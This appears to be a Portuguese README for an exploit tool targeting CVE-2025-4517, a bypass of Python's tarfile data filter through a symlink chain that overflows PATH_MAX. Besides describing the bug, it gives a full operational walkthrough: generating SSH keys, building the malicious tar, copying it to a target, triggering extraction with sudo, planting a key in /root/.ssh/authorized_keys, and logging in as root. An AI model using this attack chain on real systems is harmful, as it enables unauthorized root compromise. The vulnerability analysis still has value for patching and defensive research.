
Bypass do filtro de dados do tarfile do Python via estouro de PATH_MAX em os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile do Python via Estouro de PATH_MAXAutor: 0xDTC CVEs: CVE-2025-4517 / CVE-2025-4330 Aviso: GHSA-6r6c-684h-9j7p Correção do CPython: PR #135037
O tarfile.extractall(filter="data") do Python deveria extrair com segurança arquivos tar, prevenindo travessia de caminho (caminhos absolutos, sequências .. e symlinks escapando do destino). No entanto, um bug em os.path.realpath(strict=False) permite que este filtro seja completamente contornado.
Quando o caminho resolvido excede PATH_MAX (4096 bytes no Linux), os.path.realpath() para silenciosamente de resolver symlinks e recorre à manipulação de strings. Isso significa que uma cadeia de symlinks cuidadosamente elaborada pode enganar o Python, fazendo-o pensar que um symlink resolve dentro do diretório de extração, quando na verdade escapa para /.
| Ramificação | Afetada | Corrigida em |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
O exploit constrói um arquivo tar contendo:
realpathA ideia central: seguir a/b/c/.../p através de symlinks curtos permanece abaixo de PATH_MAX, mas o realpath expande cada um para o nome real do diretório de ~240 caracteres. Quando atinge o nome do link de 254 caracteres, o caminho resolvido excede 4096 bytes e o realpath desiste — retornando silenciosamente um resultado incorreto.
flowchart TD
A["Attacker crafts malicious tar"] --> B["tar contains:
16 dir/symlink pairs
254-char escape symlink
'escape' symlink to /
payload file"]
B --> C["Target extracts with
tarfile.extractall(filter='data')"]
C --> D{"Python resolves symlinks
via os.path.realpath()"}
D --> E["Follows short symlinks a→ddd...d
Resolved path grows with each step"]
E --> F{"Resolved path length
> PATH_MAX (4096)?"}
F -->|"No (normal)"| G["realpath correctly resolves
Symlink blocked by filter ✓"]
F -->|"Yes (overflow!)"| H["realpath STOPS resolving
Falls back to string manipulation"]
H --> I["Python thinks symlink
resolves INSIDE extraction dir"]
I --> J["Filter PASSES the symlink ✗"]
J --> K["OS follows symlink correctly
'escape' resolves to /"]
K --> L["Payload written to
arbitrary file on disk"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as Attacker Machine
participant T as Target Machine
Note over A: Phase 1 — Preparation
A->>A: Generate SSH keypair (ssh-keygen)
A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar
Note over A,T: Phase 2 — Delivery
A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
T->>T: Place tar in location accessible<br/>to the vulnerable script
Note over T: Phase 3 — Exploitation
T->>T: Trigger extraction via the<br/>vulnerable Python script
T->>T: Python calls tarfile.extractall(filter="data")
Note over T: What Python sees vs reality
T->>T: realpath() overflows at PATH_MAX
T->>T: Filter thinks "escape" symlink is safe
T->>T: OS follows "escape" → resolves to /
T->>T: Payload written to /root/.ssh/authorized_keys
Note over A,T: Phase 4 — Access
A->>T: SSH as root using the written key
T-->>A: Root shell obtained
graph LR
subgraph "Tar Members (extracted in order)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
end
S1 -.->|"short path<br/>stays small"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
S5 -.->|"resolves to /"| F1
Ambos os scripts possuem uma seção de configuração no topo com estas variáveis:
Opção A: Python
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Generate the malicious tar
python3 CVE-2025-4517.py
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
Opção B: Go
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output
# 3. Generate the malicious tar
go run CVE-2025-4517.go
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH as root using the planted key
ssh -i root_key root@target
Conte o número de diretórios de / até o seu caminho de extração:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
Qualquer script Python que use tarfile.extractall() com filter="data" em uma versão afetada é potencialmente explorável:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # VULNERABLE
O filter="data" foi introduzido como uma medida de segurança para prevenir ataques de travessia de caminho em tar. Ironicamente, a vulnerabilidade existe no próprio mecanismo (os.path.realpath) no qual o filtro confia para validar alvos de symlinks.
Esta ferramenta é fornecida apenas para testes de segurança autorizados, fins educacionais e pesquisa. Use-a apenas contra sistemas que você possui ou para os quais possui permissão explícita por escrito para testar. O acesso não autorizado a sistemas de computador é ilegal. O autor não é responsável por qualquer uso indevido desta ferramenta.
| Variável | Descrição | Exemplo |
|---|
DEST_DIR | Caminho completo para o diretório de extração no alvo | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | Número de diretórios de / até DEST_DIR | 4 para /opt/app/staging/dir/ |
TARGET_FILE | Arquivo a ser escrito, relativo a / | root/.ssh/authorized_keys |
PAYLOAD | Conteúdo a ser escrito no arquivo alvo | Sua chave pública SSH |
OUTPUT | Nome do arquivo tar de saída | Deve corresponder ao padrão esperado pelo alvo |